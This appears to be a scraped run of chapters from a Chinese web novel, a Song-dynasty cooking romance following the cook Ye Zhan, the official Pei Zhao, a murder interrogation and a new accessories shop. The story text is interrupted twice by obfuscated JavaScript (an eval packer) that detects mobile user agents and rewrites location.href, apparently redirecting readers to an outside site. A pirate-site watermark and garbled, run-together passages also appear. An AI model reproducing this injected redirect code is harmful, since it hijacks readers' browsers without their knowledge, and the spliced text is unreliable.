裴昭很快就吃完了两道菜。 结账时候叶盏还特意过来问了一句:“裴大人,可对胃口? “好吃。缠丝兔干香入味,梅花汤饼清淡怡人。裴昭认真回答。 叶盏放下心来,再看桌上汤碗干净,就知道裴昭没说谎,她还担心自己胡乱做得不合裴昭胃口呢。 裴昭走后,倒是玉姐儿纳闷:刚才裴大人点菜时不是说要吃他往日里爱吃的吗? 可缠丝兔和梅花汤饼都是新菜式吧?怎么裴大人居然也没指出来,难道是她记错了? 她摇摇头,将这件事置之脑后,专心等着玉姐儿来给自己烹饪缠丝兔。 * 夜风吹着汴京城的喧嚣往脸上吹。 盛夏的风就算是晚上都带着暖意,可不燥热,反而让人整个人舒舒坦坦放松。 裴昭打马路过闹市,任由自己沉浸在夏日晚风里,然而身形还是端正,不像路过的歪扭靠在马上一顿一顿的浮浪子弟,他后背挺得笔直,没有半点松懈之意。 路边有人叫卖:“手衣①,手衣,谁要好看的手衣?都来瞧一瞧看一看。 要是往常裴昭不会回顾半分,可这回他勒了勒马缰绳住了脚步,顿了顿,开口唤那小贩:“要一副手衣。 “好嘞,官爷。小贩看出了裴昭是个大主顾,预感到会有一笔大生意,陪笑着兜售。 “小的这有牛皮的,最是柔韧耐用;有豹子皮的,您瞧这花纹、这模样,看着多威风?还有这羊皮的,多柔软贴合?戴着射箭肯定不滑手,齐骑马肯定能防止缰绳磨粗手指。小贩推销着自己担子上的镇店之宝。 裴昭却指着那上面一对大红的:“要那对鹿皮的。 小贩“哦了一声,原来是卖给女眷的,他当即转化了一副营销话术:“这上面画着忍冬纹,又绣了花,戴上去多好看。 “不用好看。裴昭接过手衣仔细打量,“够厚实就行。对着太阳光看了看,确保没有缝隙不会让水蒸气冲破后这才满意付了钱。 “客官慢走。小贩喜出望外。 却见那位客人想了想,又问:“哪里有卖挂杆的? “挂杆? “就是拿着它能够够到高处东西的,木杆。 小贩恍然大悟:“您说那个啊,杂货铺里就有,在对面那家店里。 他一边看着手里的铜钱,一边看着客人身影纳闷:这么个贵公子,买手套也便罢了,买挂杆那样家常的东西做什么? 作者有话要说 手衣①:古代称呼手套为手衣,出自《居延汉简》 晚安,明天见 第 54 章 三和菜 第54章三和菜 清晨,叶盏一行三人到店,青娘子迎上来:“来啦?” 这个时辰是两家交班的时候。 叶盏上下打量,照例是桌椅擦得干干净净,地也擦得油光锃亮,知道青娘子又打扫了,便笑着谢她一句:“多谢您,我这直接就能开张。” “客气作甚。”青娘子佯装嗔怪,“每晚我交班时你不也打扫得干干净净?” 再说叶盏的卤菜、糟卤全部在她这里寄售,每天有返点,她一晚上就成抽成不少铜钱,互帮互助是应该的。 玉姐儿和蓬蕊上前去帮忙,将放到桌上的凳子一个个往下卸,叶盏则去灶前扫灶灰。 青娘子交待了两句,要离开时又折返:“对了,昨晚有位客人送过来的。” 她指着倚在墙角的一个长竹竿。 原来裴昭每天来店里都比较晚,等他吃完离开时也大都是叶盏快要打烊的时辰。 因此他昨天买完挂杆后又原路回去时,叶盏已经打烊离开了,换青娘子当垆了。 青娘子指着竹竿纳闷:“昨夜里我刚开店就来了个客人,他骑着马,人长得怪俊哩,就是马上拎着一个长竹竿,看着很不雅相。” 他说那个叫挂杆,想着店里能用,就拿来给店里用了。 “这不是挂衣服的么?”蓬蕊接过挂杆,仔细打量。 “我们店里又不是成衣铺子,莫非他送错了?”玉姐儿嘀咕,看了看街上斜对面一家成衣铺子,疑心这挂杆走错了地方。 “那就不知道了。”青娘子回忆,“那人虽生得眉眼周正,但浑身吓人得很,我不敢多问。”像是个军爷,让人心生敬畏。 “那就放在店里罢,万一他知道送错了回来取走就好。”叶盏摆摆手,两下就下了定论。 几人继续做菜,没把这个小插曲当回事。 过了一会,宓凤娘来店里帮忙。 “娘,您取条算条巴子和腊肠洗洗灰,今天买到了上好的松菌,我来做个松菌腊肉焖饭。”叶盏随口嘱咐宓凤娘。 “好嘞。”宓凤娘应了一声,就去取算条巴子,不过她身高不及叶盏,所以踮起脚也没够到。 她环视一圈,打算搬个板凳 去拿,却看到倚在墙角的挂杆,立刻眼前一亮。 用挂杆拿下算条巴子和腊肠后,宓凤娘又把挂杆放回去,一边称赞女儿:“真是聪明,居然想到用晾挂衣服的挂杆拿来取用腊肠。 “嗯?叶盏看了看拿晾杆,“那是别人送错的。 “不会送错吧,我看拿来取腊肠正好方便。宓凤娘看了又看,“说不定就是好心人送来给你们的。 叶盏摇摇头:“沾了腊肠上渗出来的油点,这晾杆我们花钱买下就是,下回那人找回来给他赔钱买个新的。 从这以后店里上下都拿这晾杆来取用腊肠了, 别说,还挺方便,再也不用踮脚伸长胳膊害得胳膊酸了。 裴昭再来店里时就见到了蓬蕊在用晾杆取用腊肠, 他唇角微微扬起,满意看着晾杆: 长短合适、大小合适、力度巧妙, 买对了。 只不过那副手套,揣在怀里却怎么也拿不出来。 原本昨晚就能一起交给叶盏,但没想到昨晚过来时店里换成了青娘子,裴昭便想着先把挂杆给了,今日再给叶盏手套。 可今天见到叶盏,又觉得昨天的事情有些唐突了。 晾杆还好,算是寻常日用之物,送了也就送了。 可这手套,又是大红,又是绣花,似乎不像是普通男女之间能够赠送的东西。 一贯以冷面无私闻名开封府的小裴大人,这回第一次神色不属,他怀里揣着手套,像捂着一块热炭。 叶盏在做松菌腊肠焖饭,没有留意到他。 起锅下油,放入算条巴子和腊肠翻炒,再加松菌,松菌在反复炒制中渐渐变色蜷曲,切成薄片的算条巴子渗出肥油,腊肠片中间的白色油脂变得透明微黄,红的瘦肉则变得更加红艳。 再加泡了许久的大米,上锅蒸上,算是做好。 焖饭单吃总觉单调,索性再做一个如今大宋百姓家里流行的三和菜①做下饭菜。 倒一点街头酱油坊打的淡醋,加一点酒、再将盐和甘草一起调味,最后加点白开水调剂咸淡,煮开后便好。 玉姐儿拿小碗想去给自己盛一碗,被宓凤娘制止:“馋也就罢了,现在连酱油都要喝? “妹妹调制出来的调料都好吃 。”玉姐儿不服气辩解一句三和菜家家都会做原材料也差不多但每家做出的滋味都不同区别就是调制出来的酱料滋味不同每种配料微妙不同最后导致的是整体口味差异巨大。 叶盏笑去菜篮子里掐了瓜苗尖嫩嫩的瓜苗尖最上面的叶须蜷曲着最上面还有一层白白的绒毛沾着清晨的露水还未干。这种是最嫩的菜尖。 炖盅里放入菜苗丝、瓜苗尖再下橘皮丝菜上面铺一两片白芷。 随后她走到蒸锅前随口教玉姐儿和蓬蕊做菜:“这炖盅要放在大蒸笼上隔水蒸煮正好借用蒸米饭的热乎气节约柴火时间上也正好。” 裴昭端着茶杯看着心里有一种预感。 果然叶盏拿起了蒸笼两侧的竹编把手眼看着她就要掀开蒸笼—— “且慢。”裴昭的声音比脑子快。 嗯?叶盏放下把手扭头看向这边:“客人需要什么吗?” 再看清楚是裴昭时她脸上笑意更甚:“裴大人您是在说我吗?” “是。”裴昭拿出一副手套 那是一副手套叶盏还没反应过来倒是宓凤娘脑子快:“裴大人的意思是用手套垫着掀蒸笼么?” 裴昭点点头耳朵有点发烫。 哦原来是一副厨房用隔热手套啊叶盏恍然大悟将手套戴上去打开蒸笼。 “熟了么?熟了么?”玉姐儿一个劲踮着脚看蒸盅里的三和菜却很快被焖米饭的香气吸引了:“好香!” 她这么一说把大家的注意力都吸引过去了就是坐在大堂里的客人也都闻到了好闻的气息。 松菌本来的山野清香混合着腊肉的油脂香气搭配着大白米饭自有的质朴香气一下就混合着蒸汽冲进了每个人的鼻腔。 因此少不了有人立刻点菜:“二姐我要这个菜。” “我也要。” 此起彼伏大家开始点菜倒没有人注意到裴昭这幅手套。 只有叶盏在盖回蒸笼时才想起赞一句:“这幅手套还挺好用的。” 旁人没留意但留意着这边动静的裴昭勾起了唇角。 “裴大人您也来一份焖饭?” “?”裴昭从凝视中被打断抬头带点慌乱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321540|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我说裴大人,您是不是也要来一份焖饭和三和菜。”玉姐儿忙得头晕转向,一个一个桌都要点菜,她索性按次序一个个点菜。 人人都是巴巴儿等着玉姐儿过来,脑子早就酝酿好了要点什么,看着她走到跟前立刻迫不及待赶紧蹦出菜名点单,生怕点晚了没菜。 唯有这位裴大人怎么呆呆的? “是,要。”裴昭回过神来,尽快回复了两个字。 “好。”玉姐儿不以为怪,点点头,又杀到下一桌。 留下一个裴昭坐在桌前,半天才想起喝茶,拿茶杯送进嘴里,却差点被烫了一下。 哦差点忘了,刚才泡汤的伙计给自己换过热水。 松菌焖饭博得店里一致赞赏:松菌柔软,带着浓郁的香气,米粒已经炖煮,已经粒粒分明,原本雪白晶莹的大米此时沾染了油脂和松菌的汁水,变成了淡褐色,但看着更诱人了。 吃起来更是各种香气馥郁,让人恨不得连舌头都吞进去。 搭配着的三和菜正好,简简单单的家常下饭素菜却并不简单,微甜的小菜清爽怡人,正好解解松菌焖饭浓郁的香气,清淡爽口,下饭起来不知不觉就让人吃掉了大半碗饭。 每位客人都吃得心满意足。 店里忙忙碌碌,等打烊时叶盏才想起感谢裴昭。 但他应当是忙,今天倒提早走了。 宓凤娘拿着手套打量:“这应当是皮子的,瞧这皮质好的,灯光下油汪汪,摸上去又软又绵,也不知道选的鹿身上那部分。” “怎么裴大人忽然拿出了这东西?”叶盏回忆着当时的情景,似乎她正要掀开蒸笼,就见裴大人顺顺当当拿出了一副手套。 他的动作过于流畅,似乎已经在心里排练了无数遍,再加上叶盏正好需要手套,所以顺顺当当接了过来。 两人的动作行云流水一般没有半点凝滞,这让叶盏当时丝毫没有太多的时机思索这件事。 就连店里那么多客人都没反应过来。似乎在店主掀蒸笼时就应该有人拿出一副手套递给她方便她取用。 “管他呢。”玉姐儿刮干净碗里最后一点米粒,“倒是你,我说让你垫着布你不听,外人让你垫着东西你就听……”唠唠叨叨,大有吃醋的意味。 “我擦 干净,明天还给人家。 “这是女式的手套吧?一个大老爷们不应该用这个吧?宓凤娘随口问。 倒是蓬蕊想到一个可能:“裴大人天天破案,这不会正好是案犯现场的证物什么的吧? 几人对视一眼,觉得这个解释非常合理。一下就将裴大人身上带着女用的手套合理化了。 案犯现场……万一是凶杀案呢? 几位小娘子对视一眼,又齐齐看向了唯一的长辈宓凤娘,大家看来看去,知道都想到一处去了。 宓凤娘摸摸胳膊上的鸡皮疙瘩,对着灶上贴着的“灶君司命画像神位双手合十拜拜:“您老人家好好保佑我家盏儿别沾了晦气,等到年底祭灶时我定送上豆沙甘松粉饵团和饧豆,烧一个好大的灶马,送上好醇的酒糟涂灶门。百无禁忌,百无禁忌。② 作者有话要说 ①三和菜:宋《吴氏中馈录》 ②:宋、范成大《祭灶词》 滴,送上今日的加更,我去吃饭啦,好饿,早上写到现在一口饭都没吃,今晚九点见 第 55 章 单笼金乳酥 第55章单笼金乳酥 “小裴大人,这桩案子算怎么回事?”开封府右治狱郑大人摸摸自己的羊角须,很是不满。 右治狱负责审判开封府刑事案件。 只不过裴昭却拿来一桩案子来见他,说其中有蹊跷。 “这两人明明就是殉情,哪里就算是刑名案子了?”郑大人觉得裴昭是胡闹,给自己增添工作量。 虽然小裴大人前段时间刚判了一个案子,他也承认小裴大人有点才干在身上,可是那并不代表他就能随随便便拿着一个案子就喊冤,给别人添麻烦。 “郑大人,殉情哪里会各砍断一个胳膊?”裴昭照旧是不急不躁的样子,“根据我这些日子调查,已经确定两人不是殉情是被凶杀。” 他当时无意间看到这件事就觉得背后蹊跷。因此走访调查,寻访了不少证据,如今终于能证明了。 走访过的那些人都只看到两人卿卿我我,还当两人正蜜里调油呢。殊不知两人如那火炬燃油,一下就烧光了热情,事发之时两人正在吵架,殊不知争执时太过大声,惊扰了一位刚做完案的凶手,对方一不做二不休,索性连这对情侣一起杀了,伪造出殉情的假象。 “哦?当真?”郑大人立刻就来了兴致,仔细翻阅裴昭递过来的卷宗。 良久他放下卷宗:“走,去抓人。” 然而抓到的却是那人店铺里的伙计,他看着诸衙差凶神恶煞进了门,立刻乖乖上前就范:“犯事的是我。” 进了衙门,立刻一五一十将自己是如何在花船上杀了人,如何在杀人时听见隔壁船上有动静,生怕泄露便索性全杀了。 情人之间互相保护对方,他不慎砍下了两个胳膊,只好费尽心思做成殉情的样子。 没想到还是被裴昭识破了。 郑大人皱眉:“这……到底怎么判?” 明眼人都能看出来这伙计是来给主家顶罪的,可他一口咬死是自己犯的事,对于凶杀现场和作案过程全都了如指掌,根本不好翻供。 裴昭却胸有成竹:“我来说服他。” 他站在监牢前。 那犯人坐在监狱角落,缩在阴影里,没有旁的狱卒的不甘心和焦躁,整个人很平 静,似乎在静静等着死亡。 裴昭便开口:“我已经查明你家里有重病母亲,前几天忽然有了一笔钱找了好郎中,有这回事么?” 那人晃了晃手腕间的锁链,一口咬定:“大人何必费事,这件事就是我做的,至于我老母忽然得钱那是有好心人救济。” “你别狡辩。”大斧忍不住插话,“你的掌柜会忽然这么好心?” 那伙计冷笑一声:“整个汴京城有不少济民所、善堂,莫非背后都有蹊跷?” 大斧灵机一动,拿出一份单笼金乳酥①。 “?”鸣镝眼睁睁看着大斧拿出单笼金乳酥在罪犯前晃了晃,不知道他这是忽然要做什么。 “你想吃吗?”大斧问罪犯,“这酥皮,这厚实的乳香,真死了可就吃不到喽。” 原本说这话是想诱惑诱惑嫌犯,可是说着说着自己真馋了。 酥皮金灿灿,吃一口脆得掉渣,内里的乳酪浓厚,满满都是馥郁的奶香,丰富扎实的口味甜度正好,松软香绵,吃完手里就能兜一巴掌碎皮。 “你再仔细想想,难道真要为了一点银钱替他人顶罪?”大斧不甘心,又问。 那犯人不说话,只冷笑一声。 鸣镝要气死了:大斧这个笨蛋,当人人都和你一样贪吃吗?这是在审讯!审讯!破坏了素静肃穆的气氛如何是好? 还是裴大人开口:“你当真那么信任真凶吗?他连杀三人,可见视人命为草芥;能叫人来顶替自己,可见对律法毫无畏惧,上不敬人命,下不敬国法,你是哪来的自信,能信那人能信守承诺,在你死后还给你老娘看病?” 伙计动了动,锁链细细碎碎响动了一下。 看得出来他内心有所松动,大斧大喜。 “杀了三人,你的下场便只有秋后问斩,可你若死了那人反悔怎么办?你老母照样没有钱看病。”裴大人的声音沉沉,一字一句似有份量。 伙计喉头不安吞咽了一下。 大斧再次大喜,看来这件事有突破了。 裴昭继续沉声道:“你老母亲原先就算没有钱看病,至少还有你照顾养老,以后只怕连口井水都要爬到门口求路人怜惜。” 那汉子动了动喉头。 “我已经说服了被害男子的家眷,只要 你站出来指出真凶,你那老母的医药费他家来付。他家就几代单传一个儿子,自然要耗尽心血找到真凶。”裴昭一字一句说完。 从始至终,他的眼睛都盯着伙计,面色凝重。 伙计盯着那对眼睛,黑白分明,在光线昏暗的牢狱里熠熠生辉,对面的大人沉静如海,虽然素不相识,但无端觉得他浑身气势充满正气,值得信赖。 再回想起自家掌柜在寻他顶罪时的神情:带着血丝的浑浊眼球,还带着一丝黄,急切盯着他,说出好处时,嘴唇都在发抖,似乎很心疼那些银子…… 想到这里伙计开口:“我翻供。” 大斧和鸣镝齐齐松了口气,大斧还惦记着承诺:“说话算话,这份单笼金乳酥先给你尝尝,回头我给你娘买一笼送过去。” “暂时不必打草惊蛇。”裴昭开口,“我会派衙差过去暗中保护着你老母亲。” “凶手也怕你反悔,在官府没有发榜定罪之前,他一定会控制你老母亲,所以还要辛苦你在大牢里待两天做做戏,我也会保证你母亲的安危。” 伙计跪在地上,重重行了个大礼:“多谢裴大人。”声音哽咽。 从大牢出来,大斧得意:“这单笼金乳酥立大功。” “你小子差点坏了事。”鸣镝生气,“吃食美味归美味,但世间任何食物都不会美味到让人翻供。重要的是少爷说的话。” 那人最惦记就是老母,如今一听他一旦处死那真凶很可能弃养他母亲,当然立刻就能反水。 大斧嘿嘿笑:“这桩案子又破了,是我们少爷的功劳。” 裴昭无奈一笑,摇摇头:“不为争功劳,只是这种凶杀案不能草率结案,如若草率结案让真凶流落在外,或许又能多杀几个无辜之人。” 大斧听懂了,不过他很快提议:“少爷,我们去叶家食肆吃单笼金乳酥庆祝吧,这要刚出炉热气腾腾才好吃。” 裴昭点点头。 大斧大喜,他就知道少爷也爱吃。 几人坐在了叶二姐食肆里。 食肆里雪白的茉莉花默默吐香,木制餐桌在阳光下散发着柔和的光芒。 刚才眼里还是牢狱里的囚徒,耳边听着的还是犯人凄厉的叫声,此时心绪一下就平静了下来,原本紧绷着的心情也陡 然放松。 “怪不得少爷老爱来这家食肆。”鸣镝在心里默默想。 叶盏也看到了裴大人,没想到他今天是白天就过来了。 因此在点菜时她便将手套递了过去:“多谢裴大人。” 裴昭没堤防她要还回来,一时没说话。 “已经擦过了,如今是干净的。”叶盏还当他嫌弃呢,赶紧解释。 “我不是那个意思。”裴昭这才知道叶盏是想岔了,“你留着自己用便是。” 谁知旁边的玉姐儿警惕心满满,旁敲侧击:“裴大人,这个……是有主的吗?” “没有。”裴昭虽然不明白她为什么这么问,但还是好耐心回答她。 “我的意思是……那……不管是活人还是……那个……,故去的人,都没主吗?”玉姐儿努力斟酌着字句。 昨天叶家人也是吓坏了,宓凤娘碰都不敢碰,硬是要用火钳子将它夹到灶王爷跟前请他老人家给看着。 还是叶盏拿了出来用干净的布巾擦干净了。 “这是新的。”裴昭挑眉,很意外居然有这样的对话。 玉姐儿肉眼可见松了口气。不然她今天要抓小妹过来念五百遍《太上感应经》。 叶盏也觉得好笑,赶紧福了一福:“多谢大人馈赠,那我就敬谢不敏了。” 鸣镝和大斧对视一眼,等玉姐儿和叶盏走了以后就嘀咕:“这家两位老板怎么都奇奇怪怪?” 玉姐儿她们轻松于这不是死人之物,鸣镝两人奇怪于老板举止怪异,这让他们集体忘记了追问一个问题:怎么好端端的裴大人怎么会给食肆一副手套。 这件事就这么不咸不淡过去了,谁都没有琢磨怎么回事,就连叶盏和裴昭两位当事人都没有察觉怎么回事。 * 蛋糕渐渐在附近街坊里打出了名气,叶盏也小小赚了一笔。 这时候金哥儿也决定开办自己的头面冠梳店。 家里自然有各种意见。 叶大富先摇头:“儿啊,不是我打压你的兴头,只是这京城里不好出售吧?” "穷人去不起,富人的话,自家有梳头娘子、有丫鬟仆从,各个都能参详穿衣打扮,哪里轮得着去外面询问?” “再说了富家女眷镇日里闲着无事 ,不就是琢磨穿衣打扮?哪里需要再去店里买?" 叶盏倒不同意她爹的看法:“那不穷不富的人呢?大哥的生意就是做给这些人的。” 其实大宋不再像前朝一般抑制商业,特别是汴京,兴起了大批商业阶层,因此也有了大批中等人家,按照后世的话来说,就是多了许多中产。 “像我的食肆里常来的食客们便都是这样的中等门户,他们家里有些或是有生意或是祖上有积粮,也没到大富大贵的地步,但衣食无忧。” “像这些人家,家里养大批丫鬟、梳头娘子、绣娘自然是养不起的,可她们也有爱美之心,穿衣装扮比寻常百姓家里更讲究,这样大哥的店自然就也就有了生意。” 玉姐儿也在旁边嘀咕:“我们的店能够开起来,大哥的店便也能开起来。” “也罢。横竖你们如今都大了,也该自己拿主意了。”宓凤娘从兜里掏出一个荷包,“这是一笔钱,多少也能填补些。” 叶盏和玉姐儿商量,也要拿出一笔钱给大哥:“大哥既然要开店,拿些银钱好置办筹备。” “我怎么能拿妹妹们的钱呢?”金哥儿不打算收这笔钱,“你们账上看着流水多,每日里大额资金往来,但其实咱自家人懂,这进账多出账也多,一来一去也就是赚个辛苦钱。” 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 他自己与往日里交好的公子哥中间问了一圈,以低于市场价两成的价格赁到了一处铺子。 也多亏他平日里到处吃喝玩乐攒下的人脉,认识的一些银楼掌柜、头面冠梳店好歹还给他几份薄面,愿意将自家首饰寄存到他这里出售,不过价钱要先付,也只是比市价便宜了一成。 金哥儿已经很满意了,他一介平民,人家愿意给他这一成的信任已经很不容易了。 店铺的位置不显眼,他便向叶盏取经,自己去布坊买了人家染坏了的布匹回来,自己动手扎了些布花在门口的树木上。 又去花鸟市场也买了些金盏花、蜀葵、茉莉便宜皮实又醒目的花卉,用各色花器装了摆在门头。 布置好店外,在店内便将各色衣服、首饰按色系摆放,一水红色、紫色、橘色、绿色、蓝色照着摆过去,仿若彩虹,很吸引人的注意力。 再看了黄道吉日,在门口放了两串鞭炮,这家小店就算开张了。 原本只是做小生意,却没想到店里的生意从第一天起就出奇得好。 究其原因,是因为汴京城再无竞品。 汴京城里人都知道南通巷专门卖金银彩帛,金梁桥街有专门的枣王家金银铺卖金银首饰,要买珠翠头面、领抹帽子,特髻冠子就去大相国寺,至于买濮头,寺东门大街一条街都是卖生色销金花样幞头的大小店铺②。 可是从来没有一家店能买以上所有。 “金哥儿头面冠梳铺便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何况金哥儿还能给她们搭配一套呢还能随口说出京中流行的样式:“如今城里不时兴笑魇妆您试试这个。” 或者说“你这裙子样式要换如今城里时兴旋裙。” 你不买也没关系老板还是会热心帮你指点穿搭让你在见京城故交前心里对京城的流行风向先有个底。 第三种人就是寻常百姓。 虽说女眷们都喜欢逛街东市买件衣裳西市买件头面首饰满满消磨白日光阴但自己搭配难免出错倒不如这家店的老板搭得好。 老板确实也是懂行之人 “这件攒云五岳冠②戴上以后就能显得你颅顶高你照照镜子是不是一下就显得脸娇小了许多?” “既然戴了花髻就不用再戴花否则贪多贪烂反失了其美。” “护腰与束带的颜色不一定是相配才好看一个是淡紫另一个便是浅黄两种颜色对比强烈反而能引人注目。” 一传十十传百金哥儿头面冠梳铺的生意居然一天比一天好一开始只是靠金哥儿的狐朋狗友帮忙拉一些熟人生意一月后来往的却都是新客人。 宓凤娘喜不自胜忙得脚不沾地一会在大儿子店里帮忙一会去两个女儿店里帮忙浑身干劲十足半点都不觉得疲累。 与此同时闵穆也来了消息。 据闵家婢女说他家少爷已经到了湖广给家里了酱板鸭、据说软糯非凡的湘莲还有杨梅蜜饯等多种特产喜得闵家夫人不住感慨说是儿子如今是懂事了。 闵家老爷虽然嘴上不称赞什么但也吩咐管事派人捎信给自己在那里做官的同年请他多加 照顾自己儿子。 自打上次闵家婢女将叶盏劝导她的话说给了闵夫人之后闵夫人就格外高看叶盏非但常常派婢女来照顾店里生意这次收到了儿子送来的点心还特意打发人给叶家也送来一份。 玉姐儿吃着好吃的杨梅蜜饯一边哼唧:“也不知道闵穆在湖广又吃到什么美食?” 叶盏忙着往锅里蒸酱板鸭:“待会我们尝尝这湖广的酱板鸭看与汴河里的鸭子有什么不同。” 她一边开蒸笼一边念叨:“这手衣真好用。” 皮质厚实一点缝隙都没有让蒸汽半点都透不过来再就是大小合适和贴合指头戴上之后不至于脱离以免发生端不稳盘子的事。也就是好心的裴大人送了要是她自己绝对舍不得花钱去买皮质手套来做厨房手套那也太浪费了。 宓凤娘对吃的不怎么惦记她倒有事情与女儿们商量:“你爹在家里查了许久如今就跟入了魔一样非说是一品大员的腰带现在又跟古董店老板那里套话说要去湖广买原来的腰带这可如何是好?” 叶盏摇摇头:“如今天下虽然太平可是到底路途遥远要是遇上水匪那可如何是好?”闵少爷出门有官差还有钱雇侍卫更能打着他爹和哥哥的旗号有沿途的驿站照应爹一个平民可不成。 “水匪倒不怕当初你爹寻你时只要有消息哪里都去寻 玉姐儿一心只惦记着酱板鸭:“闵少爷有说过这个要蘸酱吗?还是蒸晚了就能吃?” “有了!”宓凤娘忽然来了灵感。 有什么了?玉姐儿和叶盏抬头困惑看着娘。 “我让你爹去寻闵家就说感念闵少爷送礼要去湖广探望他不就正好能跟闵家人一起走了吗?”宓凤娘一拍大腿“我听说闵家管家还要去探望少爷呢。” 这么一来丈夫借着闵家的势力肯定能平平安安到达湖广说不定连吃住都能蹭点免费的呢。 叶盏赶紧打消娘的算盘:“娘顺路照应可以但路费我出您可别想着占旁人家便宜。” “好。”宓凤娘悻悻然“你莫非是我肚里的蛔虫能看透肺肝?怎么知道娘的算盘知道的这么清楚?” 作者有话要说 单笼金乳酥①唐代美食。 ②:《东京梦华录》 ③:攒云五岳冠,晋祠宫女图。 ④幞头包裹头部的纱罗软巾 晚安明晚九点见 第 56 章 云梦把儿肉腊、五... 第56章云梦把儿肉腊、五 那位女掌柜沈娥自打上次吃过蛋糕之后就爱上了这道滋味,只不过她有一遭不胜意:“我家里除了我公婆也就是我,拢共三个人,吃不完一个,吃半个总觉得有些浪费。” 叶盏想了想:“以后店里多做一个蛋糕,切片出售。” 一个蛋糕两贯,分成二十份,一份一百文,正好方便出售。而且价格也不高。 再说原本初期饥饿营销是为了提高蛋糕的知名度,如今蛋糕已经被消费者广为周知,所以可以适度放宽一点,让营销曲线能多包容下中等消费者。 有了这个蛋糕切片,许多原来吃不起蛋糕的人也能尝一尝滋味,像沈娥这样每次吃不完整个蛋糕的人也跟着来买,常常一个蛋糕推出后,不到半盏茶的时间就能全部出售完毕。 沈娥自此更常来店里吃东西,非但自己来,还怂恿了自己的朋友来。这天她便带着一位夫人来了店里。 这位夫人身边还带着丫鬟呢,穿着打扮都很考究,看着也像是有钱人家,她面目严峻,眉心有深深的刀刻纹,看着比沈娥年纪还长。 说话也有些严肃:“这等市井小店,有什么好吃?不如回我家吃。” “哎呀,月娘姐姐,你别嫌,保管你吃完后心服口服。”沈娥笑嘻嘻拉扯她。 杜月娘看了看她的笑脸:“也罢,就当陪你玩。” 说罢就坐了下来,坐下后又用指尖捏着杯盏,很是不满:“这是什么瓷?看着不是太白太薄。” 叶盏赶紧解释:“客人多体谅,小店小本经营,餐具不过是粗鄙之物。” 沈娥赶紧解释:“二姐,我这姐姐人不坏的。” 只是杜月娘公婆难缠,儿子死后又要用着儿媳又担心儿媳有外心,早些年看见儿媳妇在外面逛街总要在家里大闹一通,因此日子久了杜月娘越来越封闭,等闲不在外面商铺里闲逛,更别提在外面吃饭了。 当初沈娥第一次怂恿杜月娘上街,杜月娘简直吓坏了,旁人咳嗽一声她都疑心会感染痨病,要么就是觉得外面灰尘大,不如家里干净。要是在外面逗留的时间长些,更是充满负罪感,坐立难安,沈娥戏称“就像被人栓了个马笼头。” 也 就是跟着沈娥半年她才好一点。 杜月娘对外人倒挺有礼貌:“店家莫怪,我也只是跟亲友抱怨几句,没有旁的意思。” 可等叶盏走了,杜月娘还是掏出巾帕,挑剔四下打量:“到处都是油灰,谁稀罕?” 说完话正好将帕子伸到眼前,看着巾帕仍旧干净无暇,便一句话说不出来。 沈娥笑道:“这些天家里常吃店里的点心都是她家的,索性带你来吃吃她家饭菜,刚才我点了几道菜都是你肯定爱吃的口味。” 两人都是青年守寡,当初沈娥生意遇到难处时是杜月娘处处帮忙,事后还不要任何利益,因此两人成了结拜姐妹,关系比亲姐妹还要亲近几分。 杜月娘摇摇头,很固执:“市井陋巷能有什么好店?”她倒不是对这家店有意见,实在是平日里吃穿住用都在家里,用上等之物,很是挑剔,心里自然看不上外面的小店。 “姐姐信我一回。”沈娥还是笑,知道这位结拜姐姐看似挑剔,可实际内里最是随和好说话的性格,并不以为怪。 叶盏做菜速度很快,云梦把儿肉腊②、五味杏酪鹅、醋炙白鱼三道菜摆了一桌。 沈娥得意:“瞧吧,这家店掌柜做事最麻利。” “便是旁的酒楼养七八个厨子,上菜速度也不逊色。”杜月娘虽然眉宇间流露出些许满意,但嘴上仍旧不认输。 “姐姐尝尝。”沈娥给她夹了一筷子云梦把儿肉腊。 杜月娘道过谢便看了看:这云梦把儿肉腊看上去不错,切得很薄的腊肉,上面微红的瘦肉与微黄透明的肥肉相间, 厨子还用了嫩绿的蒜苗来炒,色彩上很是和谐。 她勉为其难,送进了嘴里。 吃进嘴里后惊了一惊,腊肉质鲜美,汁水四溢,蒜苗的嫩和鲜美正好衬托腊肉本身的柴火气息。 这道菜倒是很下饭。 杜月娘想了想,却没说要添一份米饭的事。 还是沈娥一排脑壳:“店家,来两碗米饭,我忘点了。” 一边问杜月娘:“姐姐,这腊肉炒蒜苗倒是很配米饭,一口下去我能吃掉好几口米饭,你也尝尝吧。” 杜月娘端着架子,含糊应了一声:“勉强一试。” 沈娥吃着米饭,还惦记着给杜月娘 夹菜:“姐姐试一试这五味杏酪鹅。” 五味杏酪鹅表面一层橘黄色的杏子酱带着微微发酸的口感却正好能解腻。 鹅块经过蒸煮细嫩可口鹅皮很是紧致吃一口带着上面的肉一起送进组里鲜美无比。 杜月娘吃了一块又忍不住夹了一块。 沈娥眼看着她又吃了一块便笑问:“如何?我就说这家店好吃吧。” “尚可。”杜月娘还是绷着。 沈娥笑嘻嘻看着姐姐开开心心道:“常常这个醋炙白鱼。” 这是叶盏按《齐民要术》上的做法做的醋炙白鱼。 一开始店里客人抱怨过鸭子虽然好吃却只有第一口最美味再吃就腻味了因此叶盏想起了这道菜。 将肥鸭肉和葱姜蒜橘皮、鱼酱汁、酱瓜一起拌匀做成填鱼的馅料。 她取来大白鱼从后背挖一点小小口子用小勺一点点将馅料塞进去再在炭火上炙烤。 外皮刷的酱料是以醋为主还调制了鱼酱和豉油等多种调料。 